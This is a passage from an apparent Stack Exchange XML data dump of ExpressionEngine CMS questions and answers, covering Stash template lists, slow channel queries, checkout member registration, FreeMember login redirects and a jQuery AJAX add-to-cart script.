4 duplicate channel entries tags. If someone could help me get this working with stash I would be very grateful. It would also help if I can not just copy and paste, but fully understand what is happening.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2013-02-12T00:21:43.197" LastActivityDate="2013-02-12T20:21:13.057" Title="Stash only outputting 1 of each item rather than 15 as set by channel entries limit - help" Tags="|stash|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6081" PostTypeId="2" ParentId="6080" CreationDate="2013-02-09T04:16:37.767" Score="2" Body="&lt;p&gt;There's two problems with your second example that I can see. The first is the EE parse order. To quote Mark Croxton: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Like the layers of an onion, EE parses module tags from the outwards &gt; inwards -  ‘peeling off’ the outer tags in a template to expose the ones nested inside.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So basically you're trying to display the stash variable before it's actually been set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second is that your stash list is being overwritten with every loop of the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to solve this would be to swap the order of your channel:entries and stash tags. Stash is smart enough to see that it's dealing with multiple entries and will add a new row for each one. The parse order issue is solved as you've included the &lt;code&gt;parse_tags=&quot;yes&quot;&lt;/code&gt; parameter, but now it's actually parsing the channel:entries tag because it's on the outside. Here's a simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;photos-list&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;photoblog&quot; limit=&quot;15&quot; orderby=&quot;&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:description}{description}{/stash:description}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list} &#xA;&#xA;{exp:stash:get_list name=&quot;photos-list&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot; limit=&quot;15&quot;}&#xA;   &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;   {description}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd highly recommend reading the following EE Insider article that describes the &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;template partial approach using stash&lt;/a&gt;. Stash and the EE parse order can be a bit hard to get your head around at first but open up enormous possibilities once you get the hang of it.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update 3 response&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Okay in regard to your third update with only one image showing. It sounds like it's just showing the first image that's been stashed in the nested list. You should be able to use the &lt;a href=&quot;https://github.com/croxton/Stash#match--regex-2&quot; rel=&quot;nofollow&quot;&gt;match parameter&lt;/a&gt; to sort this out. Stash the current entry_id in your nested list: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:entry_id}{entry_id}{/stash:entry_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then match against it when you get the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list:nested name=&quot;photos-image&quot; match=&quot;#^{entry_id}$#&quot; against=&quot;entry_id&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="975" LastEditorUserId="975" LastEditDate="2013-02-10T02:07:36.577" LastActivityDate="2013-02-10T02:07:36.577" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6082" PostTypeId="1" AcceptedAnswerId="6098" CreationDate="2013-02-09T04:30:58.193" Score="0" ViewCount="521" Body="&lt;p&gt;I have a page that displays the top 10 most recent entries in a particular channel. When I add an entry to the Channel and load this page, it takes forever to load. However, subsequent loads go faster. I think it's faster due to the MySQL query being cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What things can I do to troubleshoot this problem? Why are the initial loads so slow? What params can I pass to &lt;code&gt;exp:channel:entry&lt;/code&gt; to speed up queries? Any other suggestions why things might be slow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: this particular channel has a lot of relationship field types. I'm wondering if that's potentially a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initial page load: &lt;code&gt;Total Execution Time 218.7162&lt;/code&gt;. Subsequent page loads are like this: &lt;code&gt;Total Execution Time 1.7793.&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2013-02-10T08:05:31.983" LastActivityDate="2013-02-10T08:05:31.983" Title="Slow display of Channel entries" Tags="|channel-entries|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6083" PostTypeId="2" ParentId="6080" CreationDate="2013-02-09T04:42:02.767" Score="1" Body="&lt;p&gt;Give this a try (see EE comments in the code itself)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: this is based on Stash 2.3.6&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;photoblog&quot; limit=&quot;15&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;&#xA;    {exp:stash:set_list name=&quot;photos-list&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;        {!-- I set up my variables with this_ or stash_ so when people look at {title} var they know it's a stash variable &#xA;            vs not a normal title var like you had.&#xA;        --}&#xA;&#xA;        {stash:this_entry_id}{entry_id}{/stash:this_entry_id}&#xA;&#xA;        {stash:this_title}{title}{/stash:this_title}&#xA;&#xA;        {stash:this_description}{description}{/stash:this_description}&#xA;&#xA;        {!-- What is photos here? If matrix you MAY need to put photos on the outside of stash:this_photos &#xA;        I try and name space like so: channel_fieldtype_name so this might be photoblog_matrix_photos (if it fits.)&#xA;        This syntax makes it nice for the next dev for what ever it's worth. Also if you can help it try and keep your viewModel html free and put that in the view itself (this get_list in this case.)&#xA;        --}&#xA;        {photos}&#xA;        {stash:this_photos}{image}{/stash:this_photos}&#xA;        {/photos}&#xA;&#xA;    {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;&#xA;{!-- You need to use parse_conditionals for your IFs and it's a good idea to prefix your count vars --}&#xA;{exp:stash:get_list name=&quot;photos-list&quot; orderby=&quot;this_entry_id&quot; sort=&quot;asc&quot; prefix=&quot;prefix&quot; parse_conditionals=&quot;yes&quot;}&#xA;    &amp;lt;div id=&quot;pg_preview&quot;&amp;gt;&#xA;        &amp;lt;img class=&quot;pg_thumb&quot; {if prefix:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if} src=&quot;{this_photo}&quot; width=&quot;1000&quot; height=&quot;714&quot; alt=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc1&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        &amp;lt;div {if prefix:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{this_title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc1--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc2&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        &amp;lt;div {if prefix:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;        &#xA;            {this_description}&#xA;            &amp;lt;a href=&quot;#&quot; class=&quot;more&quot;&amp;gt;Details&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc2--&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;photos-list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;    {exp:channel:entries channel=&quot;photoblog&quot; limit=&quot;15&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;&#xA;        {stash:title}{title}{/stash:title}&#xA;&#xA;        {stash:description}{description}{/stash:description}&#xA;&#xA;        {!-- try append list here instead if set list doesn't work --}&#xA;        {stash:append_list:nested name=&quot;photos-matrix&quot; parse_tags=&quot;yes&quot;}&#xA;            {photos}&#xA;                {stash:photos}{image}{/stash:photos}&#xA;            {/photos}&#xA;        {/stash:append_list:nested}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{!-- You need to use parse_conditionals for your IFs and it's a good idea to prefix your count vars - note that you might get away with leaving off :nested on the end of the get list here because, well, it's not nested. --}&#xA;&amp;lt;div id=&quot;pg_preview&quot;&amp;gt;    &#xA;    {exp:stash:get_list:nested name=&quot;photos-matrix&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot; prefix=&quot;prefix&quot; parse_conditionals=&quot;yes&quot;}&#xA;        &amp;lt;img class=&quot;pg_thumb&quot; {if prefix:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if} src=&quot;{photo}&quot; width=&quot;1000&quot; height=&quot;714&quot; alt=&quot;&quot; /&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{exp:stash:get_list name=&quot;photos-list&quot; orderby=&quot;entry_id&quot; sort=&quot;asc&quot; prefix=&quot;prefix&quot; parse_conditionals=&quot;yes&quot;}&#xA;    &amp;lt;div id=&quot;pg_desc1&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        &amp;lt;div {if prefix:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc1--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc2&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        &amp;lt;div {if prefix:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;        &#xA;            {description}&#xA;            &amp;lt;a href=&quot;#&quot; class=&quot;more&quot;&amp;gt;Details&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc2--&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-02-10T07:15:23.040" LastActivityDate="2013-02-10T07:15:23.040" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6084" PostTypeId="2" ParentId="6036" CreationDate="2013-02-09T05:15:25.243" Score="3" Body="&lt;p&gt;To enable member registration, you can either use the &lt;code&gt;register_member=&quot;yes&quot;&lt;/code&gt; tag parameter, or submit a the &lt;code&gt;register_member&lt;/code&gt; field (e.g. as a checkbox) in your checkout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:register_member} &amp;lt;label for=&quot;register_member&quot;&amp;gt;Register Member Account?&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;!-- These fields are optional --&amp;gt;&#xA;&amp;lt;div class=&quot;toggle&quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;    {field:password}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;    {field:password_confirm}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;    {field:username}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;screen_name&quot;&amp;gt;Screen Name&amp;lt;/label&amp;gt;&#xA;    {field:screen_name}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Complete documentation on registering members during checkout is here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#registering_members&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/checkout_tag.html#registering_members&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-06-28T22:42:01.030" LastActivityDate="2013-06-28T22:42:01.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6085" PostTypeId="2" ParentId="6015" CreationDate="2013-02-09T05:19:03.853" Score="1" Body="&lt;p&gt;Try setting &lt;code&gt;$debug = 1;&lt;/code&gt; in your &lt;code&gt;index.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will force EE to display any PHP errors that might be being hidden on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you might have some crazy htaccess rules which are breaking the &lt;code&gt;?ACT&lt;/code&gt; URL (this is an EE action URL used by FreeMember, in this case to log out the current user).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-09T05:19:03.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6086" PostTypeId="2" ParentId="5978" CreationDate="2013-02-09T05:37:20.717" Score="9" Body="&lt;p&gt;It's fairly easy to create an AJAX add to cart button using Store. It's no different from any other AJAX form submission. This used to be in our user guide, but SE is a much better place for &quot;how to&quot; questions so I'll summarize here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The general process is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create your sidebar cart as a separate template&lt;/li&gt;&#xA;&lt;li&gt;Embed your sidebar cart inside a known div element in your main template&lt;/li&gt;&#xA;&lt;li&gt;Add an id to your add to cart button&lt;/li&gt;&#xA;&lt;li&gt;When the add to cart button is clicked, use javascript to post the form data via AJAX instead&lt;/li&gt;&#xA;&lt;li&gt;When the AJAX request finishes, reload your sidebar cart div&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The javascript is fairly simple (assuming you have jQuery installed):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function() {&#xA;    $('#add_to_cart_button').click(function() {&#xA;        var url = $(this.form).attr('action');&#xA;        var data = $(this.form).serialize();&#xA;        $.post(url, data, function() {&#xA;            $('#sidebar_cart').load('/store/cart');&#xA;        });&#xA;        return false;&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Let’s step through this one line at a time.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line should be fairly familiar if you have used jQuery before. It ensures the contained code won’t run until your page has finished loading.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#add_to_cart_button').click(function() {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add a click handler to your add to cart button. Make sure your add to cart button has a matching &lt;code&gt;id=&quot;&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var url = $(this.form).attr('action');&#xA;var data = $(this.form).serialize();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Get the url the form should be submitted to, and all the form data which would usually be submitted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.post(url, data, function() {&#xA;    $('#sidebar_cart').load('/store/cart');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Submit the form AJAX-style (in the background). When it’s finished, request “/store/cart”, and replace the contents of our  with it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is important, to prevent the browser from doing whatever it would usually do next (which in this case is submit the form itself, and redirect to the checkout, which we no longer need).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also wish to add some javascript effects such as jQuery UI Transfer and a scroll-to-top.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-09T05:37:20.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6087" PostTypeId="2" ParentId="6082" CreationDate="2013-02-09T06:13:26.073" Score="2" Body="&lt;p&gt;You might use the parameter disable=&quot;categories|category_fields|member_data|custom_fields|pagination|trackbacks&quot; within the channel entry tag.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-09T06:13:26.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6088" PostTypeId="2" ParentId="6053" CreationDate="2013-02-09T06:17:27.923" Score="1" Body="&lt;p&gt;Try by using parse=&quot;inward&quot; parameter within the plugin tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:my_plugin:my_method entry_id=&quot;{entry_id}&quot; parse=&quot;inward&quot;}' == 'blah'}My method returned the word blah{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-02-10T13:02:01.263" LastActivityDate="2013-02-10T13:02:01.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6089" PostTypeId="7" CreationDate="2013-02-09T08:51:27.520" Score="0" Body="&lt;p&gt;$SiteShortName is a community Q&amp;amp;A site for &lt;strong&gt;ExpressionEngine administrators, developers, designers, and end users&lt;/strong&gt;. If you have a question or problem with ExpressionEngine, you're in the right place!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;APPROPRIATE QUESTIONS&lt;/strong&gt;&lt;br&gt;&#xA;We welcome all well-written questions about using ExpressionEngine CMS or any ExpressionEngine add-ons. Questions must be &lt;strong&gt;answerable&lt;/strong&gt; (e.g. no feature requests), and must &lt;strong&gt;not lead to open ended discussions&lt;/strong&gt; (e.g. no &quot;which add-on is the best&quot; type questions, unless they have a specific use case described).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NON-EE QUESTIONS&lt;/strong&gt;&lt;br&gt;&#xA;Questions which do not directly involve ExpressionEngine (such as general HTML, CSS, Javascript or PHP questions) should be asked on &lt;a href=&quot;http://stackoverflow.com/&quot;&gt;Stack Overflow&lt;/a&gt; instead as they will receive better answers there. Non-EE questions will be closed by moderators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IS YOUR QUESTION ABOUT A BUG?&lt;/strong&gt;&lt;br&gt;&#xA;If your problem is clearly a bug, and you can identify which add-on is responsible (such as a PHP error), we ask that you &lt;strong&gt;report it directly to the developer through their official support channels, as there is very little our community here can do to help you&lt;/strong&gt;. Even if the developer provides official support via Stack Exchange, you must contact them via email instead.  Questions which are obviously bug reports will be closed. However, if you're not sure whether your issue is a bug, it's ok to ask here whether you're approaching things the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WHAT TO INCLUDE IN YOUR QUESTION&lt;/strong&gt;&lt;br&gt;&#xA;To avoid comments on your question seeking additional information, please include the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine version number&lt;/li&gt;&#xA;&lt;li&gt;Addon name &amp;amp; version number&lt;/li&gt;&#xA;&lt;li&gt;Details on what you have tried already (&lt;em&gt;The EE StackExchange is here to help with roadblocks but shouldn't be used as a substitute for reading docs and digging into code&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Detailed code examples (&lt;em&gt;use &lt;a href=&quot;http://pastie.org&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;pastie.org&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://jfiddle.net&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;jfiddle.net&lt;/strong&gt;&lt;/a&gt; if needed&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Err on the side of more information for a prompt answer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="790" LastEditDate="2013-04-01T03:34:23.467" LastActivityDate="2013-04-01T03:34:23.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6090" PostTypeId="1" CreationDate="2013-02-09T08:57:13.083" Score="2" ViewCount="78" Body="&lt;p&gt;I have to build a site for a client that requires 9 different content editors admin groups and 3 publisher admin groups. A lot of what I want to do &lt;strong&gt;could&lt;/strong&gt; be done by allowing certain groups access to categories rather than closing them off to whole channels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a third party plugin that makes admin user permissions more powerful or easier to use? I searched Devot-ee and couldn't find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of what I want to do is a news channel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This website has 5 different categories of news - some editors will only be allowed access to 2 categories, but still need access to the news channel. So as far as I can tell, I'll need to make 2 different news channels to block the users' access to the 3 categories they are not allowed to post to. Obviously I'd rather have one channel and close access to the categories, not the other way round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ant&lt;/p&gt;&#xA;" OwnerUserId="976" LastActivityDate="2013-02-11T07:17:23.193" Title="Is there an EE plugin that gives greater control over channel permissions?" Tags="|module|users|admin|permissions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6091" PostTypeId="2" ParentId="5922" CreationDate="2013-02-09T10:02:28.373" Score="0" Body="&lt;p&gt;Freemember provides a built in PREVIOUS_URL constant that you can use to achieve this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:login return=&quot;PREVIOUS_URL&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this redirects the user to the page they were visiting &lt;em&gt;before&lt;/em&gt; your login page. So say your customer is browsing &lt;code&gt;/blog/first-post&lt;/code&gt;, then they click a login link and are taken to your &lt;code&gt;/account/login&lt;/code&gt; page. This constant will redirect the user back to &lt;code&gt;/blog/first-post&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If on the other hand, you have a login form in your header (or a popup lightbox), and want to redirect the user to the &lt;em&gt;current&lt;/em&gt; page after login, you can simply omit the &lt;code&gt;return=&quot;&quot;&lt;/code&gt; parameter, as that behavior is the default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:login}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-09T10:02:28.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6092" PostTypeId="2" ParentId="6090" CreationDate="2013-02-09T10:17:15.033" Score="2" Body="&lt;p&gt;Can you use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html&quot; rel=&quot;nofollow&quot;&gt;Safecracker&lt;/a&gt;? Then there would be no need give the editors access to the CP at all. After logging in they would see the Safecracker form and can add an entry. You could then set the available categories in the form in regard of the user group. If editor1 is part of the editor_group_2 he´ll get access to the news_category1 and news_category_4. &#xA;This would solve the editor issue. Do the publishers also need to have this granular access to the categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a second option &lt;a href=&quot;http://betterworkflow.electricputty.co.uk/&quot; rel=&quot;nofollow&quot;&gt;Better Workflow&lt;/a&gt; might be able to solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-02-09T10:17:15.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6093" PostTypeId="2" ParentId="6068" CreationDate="2013-02-09T15:32:42.570" Score="0" Body="&lt;p&gt;I had a similar but different issue in my environment. Because my site is being reverse-proxied into another domain and uses CE-Cache, all links created with the &quot;Structure&quot; link type in Wygwam were getting cached with the Origin domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My fix was to add a line to wygwam/helper.php right after line 948:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$urls[] = str_replace(&quot;origindomain.com&quot;,&quot;destinationdomain.com&quot;,$page[4]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This effectively ensured that all of those full-path Structure links generated within Wygwam fields rendered the destination domain rather than the Origin that's read by Akamai.&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-02-09T15:32:42.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6094" PostTypeId="2" ParentId="5922" CreationDate="2013-02-09T15:35:49.147" Score="0" Body="&lt;p&gt;Without add-ons you can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if logged_in&#xA;/blog/first-post&#xA;/if&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if logged_out&#xA;/account/login/blog/first-post&#xA;/if&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use segments 3 and 4 for the return parameter of exp:member:login_form&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-02-09T15:35:49.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6095" PostTypeId="1" AcceptedAnswerId="7080" CreationDate="2013-02-09T16:41:28.897" Score="0" ViewCount="308" Body="&lt;p&gt;Just upgraded a site from 1.6.6 to 2.5.5 and when I went to edit an entry or publish a new entry I got &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to load the requested file: content/_assets/glossary_items.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From initial digging on EE forums, they all pointed toward Matrix being the issue, however this site had ZERO add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed Matrix and the issue is now non-existent. Having Matrix installed isn't really a solution.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-04-28T04:04:23.140" Title="Unable to load the requested file: content/_assets/glossary_items.php after upgrade" Tags="|matrix|ee1|ee2-upgrades|bug|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6096" PostTypeId="1" CreationDate="2013-02-09T23:00:09.557" Score="2" ViewCount="73" Body="&lt;p&gt;When submitting the freemember register and login pages I am getting 403 errors returned. This isn’t happening on any other form/page on the site and the unsubmitted pages themselves load fine. Its just when I submit the form that the 403 is thrown back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be related to SSL?&lt;/p&gt;&#xA;" OwnerUserId="865" LastActivityDate="2013-02-09T23:00:09.557" Title="FreeMember register/create account return 403 error" Tags="|freemember|" AnswerCount="0" CommentCount="10" ClosedDate="2013-02-27T15:39:53.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="6097" PostTypeId="1" CreationDate="2013-02-09T23:20:31.100" Score="1" ViewCount="126" Body="&lt;p&gt;I am new to ExpressionEngine and trying to create an advanced form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have displayed the channel and categories associated with it as below as checkboxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;books&quot;}&#xA;&amp;lt;label for=&quot;cat1&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;checkbox&quot; id=&quot;cat1&quot; name=&quot;category[]&quot; value=&quot;{category_id}&quot;&amp;gt;{category_name}&#xA;&amp;lt;/label&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am now trying to create checkboxes that show a particular field from the channel field group that is associated with the channel, so it adds an extra filter on the search for the user to search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be achieved or is there a plugin to help with this detailed search criteria?&lt;/p&gt;&#xA;" OwnerUserId="978" LastEditorUserId="28" LastEditDate="2013-03-13T16:26:22.847" LastActivityDate="2013-04-12T17:07:37.607" Title="Advance form - show a field from field group of the channel" Tags="|forms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
